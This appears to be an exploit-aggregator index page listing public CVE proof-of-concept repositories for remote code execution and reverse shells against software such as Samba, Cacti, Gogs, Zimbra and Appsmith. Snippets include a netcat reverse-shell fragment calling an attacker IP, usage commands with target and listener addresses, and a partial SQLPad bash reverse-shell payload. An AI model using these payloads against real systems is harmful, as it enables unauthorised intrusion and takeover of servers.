CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 Exploit para CVE:2010-2075. Este exploit permite la ejecución remota de comandos en UnrealIRCd 3.2.8.1. Requisitos optparse, signal Uso Puedes enviar un comando para ejecutar, pero habrá veces en las que no responderá; simplemente puedes enviar una reverse shell y esperar a que...

CVE-2023-21823

CVE-2023-21823 Windows反向Shell 该仓库包含用于Windows操作系统的反向Shell的C代码。反向Shell允许使用命令行远程控制系统，提供在受感染机器上执行命令的能力。 重要说明 将此代码用于非法目的或在未经系统所有者许可的情况下使用是违法的，并且违背道德原则。此代码仅用于教育和研究目的。 构建 要构建该项目，您需要一个C编译器，例如MinGW或Microsoft Visual Studio。 MinGW 1. 如果您还没有MinGW，请先安装。 2. 打开命令提示符并导航到包含源代码的目录。 3. 运行以下命令构建项目： root@kitploit: gc...

CVE-2023-41425-WonderCMS-Authenticated-RCE

CVE-2023-41425-WonderCMS-RCE-Autenticado Descripción WonderCMS v3.2.0 - v3.4.2 es vulnerable. Los atacantes remotos pueden tomar el control total del servidor mediante una explotación de Cross-Site Scripting XSS solo con fines educativos. Este es el plan: Cómo funciona: El exploit abusa del...

CVE-2025-8110-Gogs-RCE-Exploit

Gogs CVE-2025-8110 RCE 漏洞利用 针对 Gogs 中 CVE-2025-8110 的自动 Python 漏洞利用脚本。该漏洞通过滥用 PutContents API（未能验证文件路径是否为符号链接）实现远程代码执行（RCE）。通过符号链接覆盖内部 .git/config 文件，我们可以注入恶意 sshCommand 来触发反向 Shell。 🛠️ 前提条件 确保已安装 Python 3 以及必要的依赖项： root@kitploit: pip install requests rich beautifulsoup4 你还必须安装 git 并确保其在 $PATH...

CVE-2020-5752-Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell-

CVE-2020-5752: Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell- Cliente de Windows Druva inSync 6.6.3 - Escalada de privilegios local PowerShell Modificado para obtener una Reverse Shell con privilegios de sistema...

CVE-2022-46169

CVE 2022-46169 Este script explota una vulnerabilidad de inyección de comandos no autenticada en versiones de Cacti hasta la 1.2.22 para lograr ejecución remota de código no autenticada y obtener una shell inversa...

CVE-2026-23744-script

Un script para CVE-2026-23744, que explota MCPJam Inspector versiones = 1.4.2. Basado en el comando curl utilizado aquí: https://github.com/advisories/GHSA-232v-j27c-5pp6 Asegúrate de que tu archivo /etc/hosts sea correcto y apunte al dominio/vhost del objetivo...

CVE-2024-36401-PoC

CVE-2024-36401-PoC Este repositorio contiene un script de Prueba de Concepto PoC para CVE-2024-36401, una vulnerabilidad que puede explotarse para obtener ejecución remota de código en el servidor objetivo. Características Asignar un listener de reverse shell usando Perl. Codificar comandos usand...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Uso root@kitploit: Explotar objetivo 10.129.232.46 en el puerto 445, enviar reverse shell a 10.10.14.82 en el puerto 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Con rport y lport personalizados python3...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 Authenticated Command Injection Reverse Shell https://nvd.nist.gov/vuln/detail/CVE-2018-9276 Improved version of an exploit written by https://github.com/M4LV0. I used the POST data from their script but just made it more reliable as I didnt have much success with it...

cve-2023-51467

Go-Exploit para CVE-2023-51467 Este repositorio contiene un go-exploit para Apache OFBiz CVE-2023-51467. La implementación incluye verificación del objetivo, un escáner de versiones y una reverse shell Nashorn en memoria como payload requiere que el Java en uso admita Nashorn. El proceso de...

Node.js-CVE-2017-5941

Demostración de Vulnerabilidad de Deserialización Insegura en NodeJS Node.js es un entorno de ejecución de código abierto utilizado para implementar funcionalidad de servidor en JavaScript. Un paquete de software específico dentro de Node.js contiene una función vulnerable que maneja la...

CVE-2022-27925-Revshell

Zimbra Exploit de Ejecución Remota de Código No Autenticado CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET,...

CVE-2022-0944

CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - RCE autenticado Este script PoC está basado en el exploit proporcionado por Fellipe Oliveira. Características : Sube directamente código C a /hardware en lugar de cargar un archivo st Restaura el programa predeterminado antes de cargar la reverse shell Revers...

CVE-2023-42791_CVE-2024-23666

Fortimanager 授权检查不足 CVE-2024-23666 与无限制文件上传 CVE-2023-42791 利用脚本 提供两个利用这些漏洞的脚本： rce.py：从低权限访问 FortiManager 获得反向 Shell 或添加任意管理员。 ManagerGate.py：允许连接到远程管理的 FortiGate SSH 服务。仍需要 SSH 密码，但可从 FortiManager 配置备份中找到。...

CVE-2024-55963

CVE‑2024‑55963 PoC de RCE en Appsmith Exploit PoC para CVE‑2024‑55963 que ejecuta comandos arbitrarios o lanza una reverse shell en instancias Appsmith vulnerables. Maneja automáticamente tanto servidores modernos con la función environmentId como versiones mucho más antiguas «legacy» anteriores ...

CVE-2023-28343

CVE-2023-28343 Exploit POC de CVE-2023-28343 Uso root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP address...

CVE-2022-30525

CVE-2022-30525 CVE-2022-30525 POC exploit Usage root@kitploit: usage: exploit.py -h -t TARGET -lhost LOCALHOST -lport LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET IP address of the target, eg: https://127.0.0.1:9443 -lhost LOCALHOST,...

CVE-2025-49844-RediShell-AI-made-Revshell

CVE-2025-49844 RediShell AI-made Revshell PoC Untested completition of the Redishell PoC made by AI. Original PoC: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py Korean Piece: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua Progress ? We later went...